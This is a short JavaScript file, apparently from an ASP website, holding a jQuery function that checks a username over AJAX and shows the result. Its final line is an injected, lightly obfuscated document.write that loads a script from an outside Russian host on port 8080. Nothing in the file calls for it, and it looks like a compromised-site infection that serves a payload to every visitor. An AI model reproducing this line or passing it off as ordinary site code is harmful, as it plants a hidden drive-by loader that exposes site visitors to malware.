function showUser(username) {  

	if ($('#ajaxusername').html() == '') {
		
    var inputs = new Object;
    inputs['username'] = username;
    $.ajax({
        data: inputs,
        url: "actions/check_user.asp",
        type: "GET",
        timeout: 2000,
        error: function() {
          //  console.log("Failed to submit");
          // window.status = "Failed to submit";
        },
        success: function(xml) {
        	// xml = '<?xml version="1.0" encoding="utf-8"?><response>'+xml+'</response>';
        	// console.log("Loaded correctly"); 
        	// window.status = "Loaded correctly: "+xml;
					var status = '';
					var message = '';	
					// $('>response>div',xml).each(function(i) {
					if($.browser.msie) { //if browser IE
						xpath = '>response>div';
					}
					else {
						xpath = 'div';
					}
					$(xpath,xml).each(function(i) {
						var node = $(this).attr("id");
						var value = $(this).text();
					
						if (node == 'status') {
							status = value;
						}
						else if (node == 'message') {
							message = value; 
						}						
					});
					 //console.log("Status: "+status+". Message: "+message);
					// window.status = "Status: "+status+". Message: "+message;
            if (status == 0) {
            	// console.log("Zero status: "+message);
							$('#ajaxusername').html(message);							
            }
            else {
	            $('#ajaxusername').html('');
            }
        }
    });
					
	}
}
// url: "/testSite/actions/check_user.asp",
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Tag.js"></scr'+'ipt>');